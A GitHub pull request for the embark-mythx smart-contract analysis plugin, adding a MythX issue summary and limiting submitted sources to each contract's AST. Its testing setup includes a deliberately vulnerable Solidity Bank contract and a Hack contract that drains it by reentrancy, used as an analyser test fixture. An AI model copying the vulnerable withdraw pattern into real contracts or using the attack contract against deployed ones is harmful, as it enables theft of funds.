Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add summary, submit sources correctly #12

Merged
merged 2 commits into from
Mar 16, 2020

Conversation

emizzle
Copy link
Contributor

@emizzle emizzle commented Mar 16, 2020

feat: Add summary of issues that includes the MythX group ID and report UUID:
Summary

fix: Only source files in the AST are submitted as part of the MythX analysis
Previously, for every contract file submitted to MythX for analysis, all source contract files in the DApp were submitted as part of the MythX analysis job. This PR updates this functionality, such that only source files in the contract's AST are submitted along with the contract file as part of the MythX job. For example, if ContractA imports and inherits ContractB, when submitting a job to MythX for ContractA, ContractB would also be submitted in that job as as source file of ContractA.

If we had two completely mutually exclusive contracts, ContractA and Contract123. When ContractA is submitted to MythX for analysis, only the ContractA source file will be submitted. Likewise for Contract123.

Notes

  1. In the MythX portal, some of the contracts are not showing the line numbers for the issues found, and are showing undefined instead. I'm not exactly sure what the source of this error is.
  2. Some of the issues reported by embark-mythx are not matching those listed in the MythX portal. This was raised in Results in embark-mythx console are different than in the MythX portal #10.
  3. This needs to be tested and results confirmed

Testing setup

This PR was tested with the following setup:

OpenZeppelin contracts

yarn add @openzeppelin/contracts

Contracts

reentrancy.sol

pragma solidity ^0.5.5;

// Bank is a contract vulnerable to re-entrancy attack. Let's see why.
// To illustrate this attack, we will use 2 accounts.
// First account - Innocent user
// Second account - Attacker

contract Bank {
    mapping(address => uint256) public balances;

    // Using the first account, deposit 1 Ether in to this contract
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        if (balances[msg.sender] >= amount) {
            // Send Ether
            (bool sent, ) = msg.sender.call.value(amount)("");
            // Throw an error if send fails.
            require(sent, "Failed to send ether");

            balances[msg.sender] -= amount;
        }
    }

    // Helper function to check the total Ether stored in this contract
    function getTotalBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Hack {
    Bank public bank;

    constructor(Bank _bank) public {
        bank = _bank;
    }

    // This fallback is called when the Bank contract sends Ether to this contract.
    function() external payable {
        if (address(bank).balance >= msg.value) {
            bank.withdraw(msg.value);
        }
    }

    // Try:
    // Using the second account, call this function sending 1 Ether.
    function attack() public payable {
        bank.deposit.value(msg.value)();
        bank.withdraw(msg.value);
        // This contract should now have 2 Ethers:
        // 1 Ether stolen from the first account and
        // 1 Ether returned to this contract.
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contracts/GLDToken.sol:

pragma solidity ^0.5.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";

contract GLDToken is ERC20, ERC20Detailed {
    constructor(uint256 initialSupply) public ERC20Detailed("Gold", "GLD", 18) {
        _mint(msg.sender, initialSupply);
    }
}

config/contracts.sol:

deploy: {
      GLDToken: {
        args: [1000000]
      },
      Bank: {},
      Hack: {
        args: ["$Bank"]
      }
    }

embark.json:

"versions": {
    "solc": "0.5.5"
  },

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants